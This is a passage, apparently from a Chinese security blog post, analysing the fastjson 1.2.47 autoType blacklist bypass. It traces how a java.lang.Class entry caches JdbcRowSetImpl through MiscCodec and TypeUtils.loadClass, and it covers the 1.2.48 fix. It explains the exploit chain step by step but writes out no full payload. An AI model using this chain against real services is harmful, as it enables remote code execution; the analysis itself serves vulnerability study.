1 2 3 4 5 6 7 8 9 10 11 12 Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
而获取clazz的方式也存在两种
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
clazz = deserializers.findClass(typeName);
首先观察第二个方式,deserializers指的是一个IdentityHashMap,在某个ParserConfig构造函数中put了一些类和对应的反序列化器。由于这里是findClass,指的是根据typeName找到对应的反序列化器,因此有了第一种思路 :可以向deserializers里面添加需要的反序列化器
由于deserializers是private属性,需要寻找调用deserializers.put的方法
1 2 3 public void putDeserializer (Type type, ObjectDeserializer deserializer) { deserializers.put(type, deserializer); }
全局搜索调用putDeserializer的地方,就只有ParserConfig类的initJavaBeanDeserializers方法调用了,找不到可利用的链
从第一个方式入手,查看getClassFromMapping函数
1 2 3 public static Class<?> getClassFromMapping(String className) { return mappings.get(className); }
既然是从mapping中获取className,那么可以寻找调用mapping.put的地方,这里有TypeUtils.loadClass方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static Class<?> loadClass(String className, ClassLoader classLoader) { ....... try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader) { clazz = contextClassLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable e) { } try { clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch (Throwable e) { } return clazz; }
现在的目标转向哪里调用了TypeUtils.loadClass方法,全局搜索,总共有5处
其中第二处无法控制参数;第三个在开启autoType的情况下;第四个在未开启autoType的情况,但是需要先过黑名单;第五个也是需要在开启autoType的情况下
综上,可利用的可能只有第一处,进去分析,处在com/alibaba/fastjson/serializer/MiscCodec.java
的deserialze方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val" .equals(lexer.stringVal())) { throw new JSONException ("syntax error" ); } lexer.nextToken(); } else { throw new JSONException ("syntax error" ); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE); } else { objVal = parser.parse(); } String strVal; if (objVal == null ) { strVal = null ; } else if (objVal instanceof String) { strVal = (String) objVal; } else { if (objVal instanceof JSONObject) { if (clazz == Map.Entry.class) { JSONObject jsonObject = (JSONObject) objVal; return (T) jsonObject.entrySet().iterator().next(); } } throw new JSONException ("expect string" ); } if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); } }
关注strVal
,由上一段代码得知是由objVal
转换得到的,在往上分析,需要解析得到objVal
必须满足以下条件(if当中的条件)
解析器的状态为TypeNameRedirect
使用lexer.stringVal()
方法获取当前Token
的字符串值,并与val
进行比较,需要相等
最后将解析得到的值传给objVal
再传给strVal
,如果clazz == Class.class
则调用loadClass将strVal放入Mappings中
注:其中MiscCodec是一个反序列化器,它继承了ObjectSerializer和ObjectDeserializer,所以直接调用deserialze方法就能够达到我们的目标,那么如何获取MiscCodec的示例也是一个问题?
查看之前的deserializers,里面put了很多关于MiscCodec键值对,根据clazz == Class.class
条件,选择最合适的clazz值为java.lang.Class
1 2 3 4 5 6 7 8 9 deserializers.put(Class.class, MiscCodec.instance); ... deserializers.put(UUID.class, MiscCodec.instance); deserializers.put(TimeZone.class, MiscCodec.instance); deserializers.put(Locale.class, MiscCodec.instance); deserializers.put(Currency.class, MiscCodec.instance); deserializers.put(InetAddress.class, MiscCodec.instance); deserializers.put(Inet4Address.class, MiscCodec.instance); deserializers.put(Inet6Address.class, MiscCodec.instance);
从开头开始分析:
回到DefaultJSONParser.java中的parseObject函数,在解析@type时分为3步
Class<?> clazz = config.checkAutoType(typeName, null);
this.setResolveStatus(TypeNameRedirect);
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
其执行流程:
解析a中的@type
进入checkAutoType,typeName为java.lang.Class
TypeUtils.getClassFromMapping(typeName)返回null
deserializers.findClass(typeName)返回class java.lang.Class
this.setResolveStatus(TypeNameRedirect);
config.getDeserializer(clazz)获取MiscCodec.instance
deserializer.deserialze(this, clazz, fieldName),即调用MiscCodec的deserialze方法
在MiscCodec的deserialze方法中满足了if条件,得到strVal为com.sun.rowset.JdbcRowSetImpl
调用TypeUtils.loadClass,Thread.currentThread().getContextClassLoader(),然后mappings.put(className, clazz)将com.sun.rowset.JdbcRowSetImpl放入mappings
此次a解析完成
解析b中的@type
进入checkAutoType,typeName为com.sun.rowset.JdbcRowSetImpl
TypeUtils.getClassFromMapping(typeName);
得到clazz为class com.sun.rowset.JdbcRowSetImpl
不用经过黑名单,直接返回clazz
config.getDeserializer(clazz),之后的调用栈如下
1 2 3 4 5 6 7 8 9 10 11 build:130 , JavaBeanInfo (com.alibaba.fastjson.util) createJavaBeanDeserializer:590 , ParserConfig (com.alibaba.fastjson.parser) getDeserializer:507 , ParserConfig (com.alibaba.fastjson.parser) getDeserializer:364 , ParserConfig (com.alibaba.fastjson.parser) parseObject:367 , DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:517 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:137 , JSON (com.alibaba.fastjson) parse:128 , JSON (com.alibaba.fastjson) main:25 , POC (FastJson)
得到deserializer为FastjsonASMDeserializer_1_JdbcRowSetTmpl@920
之后就是调用其deserialze方法
尽管其他版本的checkAutoType函数有所更改,但是不影响这种通杀方法的通用性
fastjson1.2.48 在MiscCodec类中的deserialze的方法中,在调用TypeUtils.loadClass方法时将cache设置为false
1 2 3 if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false ); }
这样在TypeUtils.loadClass方法中就不会将clazz放入mappings缓存中
1 2 3 4 5 clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz;
参考 【两万字原创长文】完全零基础入门Fastjson系列漏洞(基础篇) (qq.com)
JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)
Fastjson抗争的一生 | fynch3r的小窝
Java安全之FastJson JdbcRowSetImpl 链分析 - nice_0e3 - 博客园 (cnblogs.com)